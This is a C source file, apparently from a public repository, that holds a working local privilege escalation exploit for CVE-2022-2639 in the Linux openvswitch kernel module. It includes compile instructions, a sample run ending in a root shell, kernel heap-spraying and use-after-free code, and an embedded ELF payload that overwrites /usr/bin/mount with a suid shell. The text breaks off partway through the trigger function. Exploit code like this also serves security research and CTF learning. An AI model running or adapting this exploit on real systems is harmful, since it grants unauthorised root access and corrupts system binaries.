-
Notifications
You must be signed in to change notification settings - Fork 49
/
exploit.c
1212 lines (1056 loc) · 35.9 KB
/
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/**
* CVE-2022-2639 openvswitch LPE exploit
*
* This exploit use pipe-primitive so no kaslr leak nor smap
* smep ktpi bypass is needed.
*
* Compile with:
* gcc exploit.c -o exploit -static -no-pie -s
*
* This exploit will overwrite /usr/bin/mount with suid-shell and
* execute it. BACKUP IT MANUALLY before running exploit, and
* RESTORE it quickly after exploit success.
*
* / $ ./exploit
* [*] exploit.c:1183 initialize exploit environment ...
* [+] exploit.c:630 get dp_family_id = 33
* [+] exploit.c:637 get flow_family_id = 35
* [*] exploit.c:1186 create br to check if openvswitch works ...
* [*] exploit.c:781 br1337 ifindex: 7
* [*] exploit.c:1189 do exploit step 1 ...
* [*] exploit.c:880 do heap fengshui to reduce noise ...
* [*] exploit.c:896 sparying msg_msg ...
* [*] exploit.c:907 free other rx_ring buffer ...
* [*] exploit.c:915 trigger vuln to do heap oob write ...
* [*] exploit.c:925 search corrupted msg_msg ...
* [+] exploit.c:932 corrupted msg_msg found, id: 52
* [*] exploit.c:949 clean unused msg_msg ...
* [*] exploit.c:953 alloc `struct msg_msg` to re-acquire the 0x400 slab freed by msg_msgseg ...
* [*] exploit.c:979 it works :)
* [+] exploit.c:993 leak list2_leak_msqid: 1029
* [+] exploit.c:994 leak list2_leak_mtype: 0x942
* [+] exploit.c:995 leak list2_uaf_msg_addr: 0xffff888007676400
* [+] exploit.c:996 leak list2_uaf_mtype: 0x842
* [*] exploit.c:1000 clean unused msg_msg ...
* [*] exploit.c:1194 do exploit step 2 ...
* [*] exploit.c:1009 do heap fengshui to reduce noise ...
* [*] exploit.c:1025 sparying msg_msg ...
* [*] exploit.c:1036 free other rx_ring buffer ...
* [*] exploit.c:1044 trigger vuln to do heap oob write ...
* [*] exploit.c:1051 free uaf msg_msg from correct msqid
* [*] exploit.c:1057 spray skbuff_data to re-acquire the 0x400 slab freed by msg_msg
* [*] exploit.c:1071 free skbuff_data using fake msqid
* [*] exploit.c:1074 freed using msqid 104
* [*] exploit.c:1080 spray pipe_buffer to re-acquire the 0x400 slab freed by skbuff_data
* [*] exploit.c:1099 free skbuff_data to make pipe_buffer become UAF
* [+] exploit.c:1115 uaf_pipe_idx: 2
* [*] exploit.c:1126 edit pipe_buffer->flags
* [*] exploit.c:1138 try to overwrite /usr/bin/mount
* [*] exploit.c:1149 see if /usr/bin/mount changed
* [+] exploit.c:1163 exploit success
* [*] exploit.c:1199 maybe unsafe to exit, sleep infinitely ...
* / # id
* uid=0(root) gid=0(root) groups=1000(ctf)
*
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/genetlink.h>
#include <linux/if_packet.h>
#include <linux/netlink.h>
#include <linux/openvswitch.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/utsname.h>
#include <unistd.h>
#define COLOR_GREEN "\033[32m"
#define COLOR_RED "\033[31m"
#define COLOR_YELLOW "\033[33m"
#define COLOR_DEFAULT "\033[0m"
#define logd(fmt, ...) dprintf(2, "[*] %s:%d " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__)
#define logi(fmt, ...) dprintf(2, COLOR_GREEN "[+] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define logw(fmt, ...) dprintf(2, COLOR_YELLOW "[!] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define loge(fmt, ...) dprintf(2, COLOR_RED "[-] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define die(fmt, ...) \
do { \
loge(fmt, ##__VA_ARGS__); \
loge("Exit at line %d", __LINE__); \
write(sync_pipe[1], "F", 1); \
exit(1); \
} while (0)
#define ELEM_CNT(x) (sizeof(x) / sizeof(x[0]))
struct ovs_attr {
uint16_t type;
void *data;
uint16_t len;
};
#define GENLMSG_DATA(glh) ((void *)(((char *)glh) + GENL_HDRLEN))
#define NLA_DATA(nla) ((void *)((char *)(nla) + NLA_HDRLEN))
#define NLA_NEXT(nla, len) ((len) -= NLA_ALIGN((nla)->nla_len), \
(struct nlattr *)(((char *)(nla)) + NLA_ALIGN((nla)->nla_len)))
#define NLA_OK(nla, len) ((len) >= (int)sizeof(struct nlattr) && \
(nla)->nla_len >= sizeof(struct nlattr) && \
(nla)->nla_len <= (len))
int nla_attr_size(int payload) {
return NLA_HDRLEN + payload;
}
int nla_total_size(int payload) {
return NLA_ALIGN(nla_attr_size(payload));
}
int genlmsg_open(void) {
int sockfd;
struct sockaddr_nl nladdr;
int ret;
sockfd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (sockfd < 0) {
loge("socket: %m");
return -1;
}
memset(&nladdr, 0, sizeof(nladdr));
nladdr.nl_family = AF_NETLINK;
nladdr.nl_pid = getpid();
// nladdr.nl_groups = 0xffffffff;
ret = bind(sockfd, (struct sockaddr *)&nladdr, sizeof(nladdr));
if (ret < 0) {
loge("bind: %m");
close(sockfd);
return -1;
}
return sockfd;
}
void *genlmsg_alloc(int *size) {
unsigned char *buf;
int len;
/*
* attribute len
* attr len = (nla_hdr + pad) + (payload(user data) + pad)
*/
len = nla_total_size(*size);
/*
* family msg len,
* but actually we have NOT custom family header
* family msg len = family_hdr + payload(attribute)
*/
len += 0;
/*
* generic netlink msg len
* genlmsg len = (genlhdr + pad) + payload(family msg)
*/
len += GENL_HDRLEN;
/*
* netlink msg len
* nlmsg len = (nlmsghdr + pad) + (payload(genlmsg) + pad)
*/
len = NLMSG_SPACE(len);
buf = malloc(len);
if (!buf)
return NULL;
memset(buf, 0, len);
*size = len;
return buf;
}
void genlmsg_free(void *buf) {
if (buf) {
free(buf);
}
}
int genlmsg_send(int sockfd, unsigned short nlmsg_type, unsigned int nlmsg_pid,
unsigned char genl_cmd, unsigned char genl_version,
unsigned short nla_type, const void *nla_data, unsigned int nla_len) {
struct nlmsghdr *nlh; // netlink message header
struct genlmsghdr *glh; // generic netlink message header
struct nlattr *nla; // netlink attribute header
struct sockaddr_nl nladdr;
unsigned char *buf;
int len;
int count;
int ret;
if ((nlmsg_type == 0) || (!nla_data) || (nla_len <= 0)) {
return -1;
}
len = nla_len;
buf = genlmsg_alloc(&len);
if (!buf)
return -1;
nlh = (struct nlmsghdr *)buf;
nlh->nlmsg_len = len;
nlh->nlmsg_type = nlmsg_type;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = 0;
nlh->nlmsg_pid = nlmsg_pid;
glh = (struct genlmsghdr *)NLMSG_DATA(nlh);
glh->cmd = genl_cmd;
glh->version = genl_version;
nla = (struct nlattr *)GENLMSG_DATA(glh);
nla->nla_type = nla_type;
nla->nla_len = nla_attr_size(nla_len);
memcpy(NLA_DATA(nla), nla_data, nla_len);
memset(&nladdr, 0, sizeof(nladdr));
nladdr.nl_family = AF_NETLINK;
count = 0;
ret = 0;
do {
ret = sendto(sockfd, &buf[count], len - count, 0,
(struct sockaddr *)&nladdr, sizeof(nladdr));
if (ret < 0) {
if (errno != EAGAIN) {
count = -1;
goto out;
}
} else {
count += ret;
}
} while (count < len);
out:
genlmsg_free(buf);
return count;
}
int genlmsg_recv(int sockfd, unsigned char *buf, unsigned int len) {
struct sockaddr_nl nladdr;
struct msghdr msg;
struct iovec iov;
int ret;
nladdr.nl_family = AF_NETLINK;
nladdr.nl_pid = getpid();
// nladdr.nl_groups = 0xffffffff;
iov.iov_base = buf;
iov.iov_len = len;
msg.msg_name = (void *)&nladdr;
msg.msg_namelen = sizeof(nladdr);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = NULL;
msg.msg_controllen = 0;
msg.msg_flags = 0;
ret = recvmsg(sockfd, &msg, 0);
ret = ret > 0 ? ret : -1;
return ret;
}
int genlmsg_dispatch(struct nlmsghdr *nlmsghdr, unsigned int nlh_len,
int nlmsg_type, int nla_type, unsigned char *buf, int *len) {
struct nlmsghdr *nlh;
struct genlmsghdr *glh;
struct nlattr *nla;
int nla_len;
int l;
int i;
int ret = -1;
if (!nlmsghdr || !buf || !len)
return -1;
if (nlmsg_type && (nlmsghdr->nlmsg_type != nlmsg_type)) {
return -1;
}
for (nlh = nlmsghdr; NLMSG_OK(nlh, nlh_len); nlh = NLMSG_NEXT(nlh, nlh_len)) {
/* The end of multipart message. */
if (nlh->nlmsg_type == NLMSG_DONE) {
// printf("get NLMSG_DONE\n");
ret = 0;
break;
}
if (nlh->nlmsg_type == NLMSG_ERROR) {
// printf("get NLMSG_ERROR\n");
ret = -1;
break;
}
glh = (struct genlmsghdr *)NLMSG_DATA(nlh);
nla = (struct nlattr *)GENLMSG_DATA(glh); // the first attribute
nla_len = nlh->nlmsg_len - GENL_HDRLEN; // len of attributes
for (i = 0; NLA_OK(nla, nla_len); nla = NLA_NEXT(nla, nla_len), ++i) {
/* Match the family ID, copy the data to user */
if (nla_type == nla->nla_type) {
l = nla->nla_len - NLA_HDRLEN;
*len = *len > l ? l : *len;
memcpy(buf, NLA_DATA(nla), *len);
ret = 0;
break;
}
}
}
return ret;
}
int genlmsg_get_family_id(int sockfd, const char *family_name) {
void *buf;
int len;
__u16 id;
int l;
int ret;
ret = genlmsg_send(sockfd, GENL_ID_CTRL, 0, CTRL_CMD_GETFAMILY, 1,
CTRL_ATTR_FAMILY_NAME, family_name, strlen(family_name) + 1);
if (ret < 0)
return -1;
len = 256;
buf = genlmsg_alloc(&len);
if (!buf)
return -1;
len = genlmsg_recv(sockfd, buf, len);
if (len < 0)
return len;
id = 0;
l = sizeof(id);
genlmsg_dispatch((struct nlmsghdr *)buf, len, 0, CTRL_ATTR_FAMILY_ID, (unsigned char *)&id, &l);
genlmsg_free(buf);
return id > 0 ? id : -1;
}
void genlmsg_close(int sockfd) {
if (sockfd >= 0) {
close(sockfd);
}
}
int ovsmsg_send(int sockfd, uint16_t nlmsg_type, uint32_t nlmsg_pid,
uint8_t genl_cmd, uint8_t genl_version,
int dp_ifindex, struct ovs_attr *ovs_attrs, int attr_num) {
struct nlmsghdr *nlh; // netlink message header
struct genlmsghdr *glh; // generic netlink message header
struct nlattr *nla; // netlink attribute header
struct ovs_header *ovh; // ovs user header
struct sockaddr_nl nladdr;
unsigned char *buf;
int len = 0;
int count;
int ret;
for (int i = 0; i < attr_num; i++) {
len += nla_total_size(ovs_attrs[i].len);
}
buf = genlmsg_alloc(&len);
if (!buf) {
return -1;
}
nlh = (struct nlmsghdr *)buf;
nlh->nlmsg_len = len;
nlh->nlmsg_type = nlmsg_type;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = 0;
nlh->nlmsg_pid = nlmsg_pid;
glh = (struct genlmsghdr *)NLMSG_DATA(nlh);
glh->cmd = genl_cmd;
glh->version = genl_version;
ovh = (struct ovs_header *)GENLMSG_DATA(glh);
ovh->dp_ifindex = dp_ifindex;
char *offset = GENLMSG_DATA(glh) + 4;
for (int i = 0; i < attr_num; i++) {
nla = (struct nlattr *)(offset);
nla->nla_type = ovs_attrs[i].type;
nla->nla_len = nla_attr_size(ovs_attrs[i].len);
memcpy(NLA_DATA(nla), ovs_attrs[i].data, ovs_attrs[i].len);
offset += nla_total_size(ovs_attrs[i].len);
}
memset(&nladdr, 0, sizeof(nladdr));
nladdr.nl_family = AF_NETLINK;
count = 0;
ret = 0;
do {
ret = sendto(sockfd, &buf[count], len - count, 0,
(struct sockaddr *)&nladdr, sizeof(nladdr));
if (ret < 0) {
if (errno != EAGAIN) {
count = -1;
goto out;
}
} else {
count += ret;
}
} while (count < len);
out:
genlmsg_free(buf);
return count;
}
#define ATTACK_FILE "/usr/bin/mount"
const char attack_data[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
0x03, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xe8, 0x00, 0x00, 0x00, 0x00, 0x58, 0xeb, 0x48,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
0x01, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x57, 0x54, 0x59, 0x48, 0x33, 0x39, 0x59, 0x6a,
0x6f, 0x54, 0x59, 0x66, 0x69, 0x39, 0x70, 0x59,
0x57, 0x5a, 0x6a, 0x4a, 0x54, 0x59, 0x66, 0x69,
0x39, 0x70, 0x30, 0x30, 0x74, 0x38, 0x30, 0x30,
0x54, 0x38, 0x55, 0x30, 0x54, 0x38, 0x56, 0x6a,
0x42, 0x54, 0x59, 0x66, 0x69, 0x39, 0x38, 0x59,
0x30, 0x74, 0x38, 0x30, 0x30, 0x54, 0x38, 0x4b,
0x48, 0x63, 0x31, 0x6a, 0x73, 0x54, 0x59, 0x66,
0x69, 0x31, 0x36, 0x78, 0x4c, 0x4a, 0x74, 0x30,
0x49, 0x6a, 0x52, 0x54, 0x59, 0x66, 0x69, 0x31,
0x45, 0x6d, 0x56, 0x59, 0x49, 0x4a, 0x34, 0x4e,
0x56, 0x54, 0x58, 0x41, 0x6b, 0x76, 0x32, 0x31,
0x42, 0x32, 0x74, 0x31, 0x31, 0x41, 0x30, 0x76,
0x31, 0x49, 0x6f, 0x56, 0x4c, 0x39, 0x30, 0x75,
0x7a, 0x64, 0x54, 0x58, 0x73, 0x78, 0x30, 0x42,
0x41, 0x31, 0x73, 0x6a, 0x7a, 0x36, 0x64, 0x75,
0x54, 0x6f, 0x41, 0x37, 0x7a, 0x4b, 0x35, 0x70,
0x79, 0x31, 0x72, 0x41, 0x73, 0x6a, 0x59, 0x79,
0x64, 0x59, 0x55, 0x6a, 0x36, 0x35, 0x46, 0x65,
0x59, 0x6e, 0x6e, 0x56, 0x4b, 0x50, 0x30, 0x6e,
0x45, 0x59, 0x50, 0x6e, 0x36, 0x50, 0x39, 0x63,
0x70, 0x37, 0x6d, 0x4a, 0x4b, 0x62, 0x79, 0x68,
0x4b, 0x63, 0x52, 0x4f, 0x7a, 0x64, 0x75, 0x4f,
0x4d, 0x33, 0x4c, 0x7a, 0x36, 0x38, 0x66};
#ifndef PAGE_SIZE
#define PAGE_SIZE (0x1000)
#endif
#define NUM_MSQIDS_1 (0x400)
#define NUM_MSQIDS_2 (0x400)
#define HOLE_STEP (0x100)
#define MSG_TEXT_SIZE(x) ( \
(x) - sizeof(struct msg_msg) - \
sizeof(struct msg_msgseg) * (((x + PAGE_SIZE - 1) / PAGE_SIZE) - 1))
#define MSG_A_RAW_SIZE (0x1400)
#define MSG_B_RAW_SIZE (0x400)
#define MSG_A_TEXT_SIZE MSG_TEXT_SIZE(MSG_A_RAW_SIZE)
#define MSG_B_TEXT_SIZE MSG_TEXT_SIZE(MSG_B_RAW_SIZE)
#define MTYPE_A (0x41)
#define MTYPE_B (0x42)
#define MTYPE_FAKE (0x43)
#define MSG_SIG (0x13371337)
#define NUM_SOCKETS (4)
#define NUM_SKBUFFS (0x20)
#define SIZE_OF_SKB_SHARED_INFO (0x140)
#define NUM_PIPES (0x100)
#define fengshui_skfd_cnt (0x20)
struct list_head {
uint64_t next;
uint64_t prev;
};
struct msg_msg {
struct list_head m_list;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
char mtext[0];
};
struct msg_msgseg {
uint64_t next;
};
struct typ_msg {
long mtype;
char mtext[0];
};
struct typ_pipe_buffer {
uint64_t page;
uint32_t offset;
uint32_t len;
uint64_t ops;
uint32_t flags;
uint32_t padding1;
uint64_t private;
};
int sync_pipe[2];
int sock_pairs[NUM_SOCKETS][2];
int pipes[NUM_PIPES][2];
char msg_buffer[0x4000] = {0};
struct typ_msg *msg = (struct typ_msg *)msg_buffer;
int msqid_1[NUM_MSQIDS_1];
int msqid_2[NUM_MSQIDS_2];
struct typ_msg *msg_a = (struct typ_msg *)msg_buffer;
struct typ_msg *msg_a_oob = (struct typ_msg *)msg_buffer;
struct typ_msg *msg_b = (struct typ_msg *)msg_buffer;
int list1_corrupted_msqid = -1;
int list2_leak_msqid = -1;
int list2_leak_mtype = 0;
uint64_t list2_uaf_msg_addr = 0;
uint64_t list2_leak_security = 0;
int list2_uaf_mtype = 0;
uint64_t heap_buffer_addr = 0;
int nl_sockfd = -1;
int dp_family_id = 1;
int flow_family_id = -1;
void hexdump(const void *data, size_t size) {
char ascii[17];
size_t i, j;
ascii[16] = '\0';
for (i = 0; i < size; ++i) {
dprintf(2, "%02X ", ((unsigned char *)data)[i]);
if (((unsigned char *)data)[i] >= ' ' && ((unsigned char *)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char *)data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i + 1) % 8 == 0 || i + 1 == size) {
dprintf(2, " ");
if ((i + 1) % 16 == 0) {
dprintf(2, "| %s \n", ascii);
} else if (i + 1 == size) {
ascii[(i + 1) % 16] = '\0';
if ((i + 1) % 16 <= 8) {
dprintf(2, " ");
}
for (j = (i + 1) % 16; j < 16; ++j) {
dprintf(2, " ");
}
dprintf(2, "| %s \n", ascii);
}
}
}
}
void init_unshare() {
int fd;
char buff[0x100];
// strace from `unshare -Ur xxx`
if (unshare(CLONE_NEWUSER | CLONE_NEWNS)) {
die("unshare(CLONE_NEWUSER | CLONE_NEWNS): %m");
}
if (unshare(CLONE_NEWNET)) {
die("unshare(CLONE_NEWNET): %m");
}
fd = open("/proc/self/setgroups", O_WRONLY);
snprintf(buff, sizeof(buff), "deny");
write(fd, buff, strlen(buff));
close(fd);
fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(buff, sizeof(buff), "0 %d 1", getuid());
write(fd, buff, strlen(buff));
close(fd);
fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(buff, sizeof(buff), "0 %d 1", getgid());
write(fd, buff, strlen(buff));
close(fd);
}
void bind_cpu() {
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set)) {
die("sched_setaffinity: %m");
}
}
void init_nl_sock() {
nl_sockfd = genlmsg_open();
if (nl_sockfd < 0) {
die("open sock failed");
}
dp_family_id = genlmsg_get_family_id(nl_sockfd, OVS_DATAPATH_FAMILY);
if (dp_family_id < 0) {
die("get dp_family_id failed");
} else {
logi("get dp_family_id = %d", dp_family_id);
}
flow_family_id = genlmsg_get_family_id(nl_sockfd, OVS_FLOW_FAMILY);
if (flow_family_id < 0) {
die("get flow_family_id failed");
} else {
logi("get flow_family_id = %d", flow_family_id);
}
if (dp_family_id == flow_family_id) {
// like some bug, but I don't know how to solve it :(
logw("id are same, retry ...");
genlmsg_close(nl_sockfd);
init_nl_sock();
}
}
void init_msq() {
for (int i = 0; i < NUM_MSQIDS_1; i++) {
msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
if (msqid_1[i] < 0) {
die("msgget() fail");
}
}
for (int i = 0; i < NUM_MSQIDS_2; i++) {
msqid_2[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
if (msqid_2[i] < 0) {
die("msgget() fail");
}
}
}
void init_sock() {
for (int i = 0; i < NUM_SOCKETS; i++) {
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock_pairs[i]) < 0) {
die("socketpair(): %m");
}
}
}
void do_init() {
bind_cpu();
init_unshare();
init_nl_sock();
init_msq();
init_sock();
}
void clean_msq_1() {
for (int i = 0; i < NUM_MSQIDS_1; i++) {
msgrcv(msqid_1[i], msg_a, MSG_A_TEXT_SIZE, MTYPE_A, IPC_NOWAIT);
}
}
void clean_msq_2() {
for (int i = 0; i < NUM_MSQIDS_2; i++) {
for (int j = 0; j < 0x10; j++) {
msgrcv(msqid_2[i], msg_b, MSG_B_TEXT_SIZE, MTYPE_B | (j << 8), IPC_NOWAIT);
}
}
}
void spray_skbuff_data(void *ptr, size_t size) {
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (write(sock_pairs[i][0], ptr, size) < 0) {
die("write to sock pairs failed");
}
}
}
}
void free_skbuff_data(void *ptr, size_t size) {
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (read(sock_pairs[i][1], ptr, size) < 0) {
die("read from sock pairs failed");
}
}
}
}
void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr,
unsigned int sizeof_priv, unsigned int timeout) {
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0) {
die("setsockopt(PACKET_VERSION): %m");
}
struct tpacket_req3 req;
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) {
die("setsockopt(PACKET_RX_RING): %m");
}
}
int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) {
die("socket(AF_PACKET): %m");
}
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
sizeof_priv, timeout);
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) {
die("bind(AF_PACKET): %m");
}
return s;
}
int pagealloc_pad(int count, int size) {
return packet_socket_setup(size, 2048, count, 0, 100);
}
void create_br1337() {
struct ovs_attr ovs_attrs[] = {
{OVS_DP_ATTR_NAME, "br1337", 7},
{OVS_DP_ATTR_UPCALL_PID, "aaa", 4},
};
ovsmsg_send(nl_sockfd, dp_family_id, 0, OVS_DP_CMD_NEW, OVS_DATAPATH_VERSION, 1, ovs_attrs, ELEM_CNT(ovs_attrs));
int ifindex = if_nametoindex("br1337");
if (!ifindex) {
logw("create br1337 failed: %m");
logw("maybe openvswitch module not enabled in kernel?");
logw("further exploitation may fail");
} else {
logd("br1337 ifindex: %d", ifindex);
}
}
void trigger_vuln(void *vuln_data, size_t vuln_size) {
struct nlattr *key_nla;
struct ovs_key_ethernet eth_key;
memcpy(eth_key.eth_src, "\x01\x02\x03\x04\x05", 6);
memcpy(eth_key.eth_dst, "\x05\x04\x03\x02\x01", 6);
struct ovs_key_ipv4 ipv4_key = {
.ipv4_src = 0x12345678,
.ipv4_dst = 0x87654321,
.ipv4_proto = 1,
.ipv4_tos = 1,
.ipv4_ttl = 1,
.ipv4_frag = 2,
};
struct ovs_attr key_attrs[] = {
{OVS_KEY_ATTR_ETHERNET, ð_key, sizeof(struct ovs_key_ethernet)},
{OVS_KEY_ATTR_ETHERTYPE, "\x08\x00", 2},
{OVS_KEY_ATTR_IPV4, &ipv4_key, sizeof(struct ovs_key_ipv4)},
};
int key_size = 0;
for (int i = 0; i < ELEM_CNT(key_attrs); i++) {
key_size += nla_total_size(key_attrs[i].len);
}
key_nla = (struct nlattr *)malloc(key_size);
void *key_offset = key_nla;
for (int i = 0; i < ELEM_CNT(key_attrs); i++) {
struct nlattr *nla = key_offset;
nla->nla_type = key_attrs[i].type;
nla->nla_len = nla_attr_size(key_attrs[i].len);
memcpy(NLA_DATA(nla), key_attrs[i].data, key_attrs[i].len);
key_offset += nla_total_size(key_attrs[i].len);
}
char *action_nla = (char *)malloc(0x10000);
if (!action_nla) {
die("malloc: %m");
}
// 0x14 -> 0x20 (+0xc)
const int ori_size = 0x14;
const int rewrite_size = 0x1c;
const int header_size = 0x1c;
int pad_action_cnt = (0xfc00 - header_size) / (4 + rewrite_size);
int i = 0;
for (i = 0; i < pad_action_cnt; i++) {
struct nlattr *ptr = (struct nlattr *)(action_nla + i * ori_size);
ptr->nla_len = ori_size;
ptr->nla_type = OVS_ACTION_ATTR_SET;
ptr = NLA_DATA(ptr);
ptr->nla_len = 0x10;
ptr->nla_type = OVS_KEY_ATTR_ETHERNET;
ptr = NLA_DATA(ptr);
memset(ptr, 'k', 0xc);
}
const uint32_t padding_size = 0x10000 - (header_size + (4 + rewrite_size) * pad_action_cnt);
uint16_t evil_size = padding_size + vuln_size;
{
struct nlattr *ptr = (struct nlattr *)(action_nla + i * ori_size);
ptr->nla_len = evil_size;
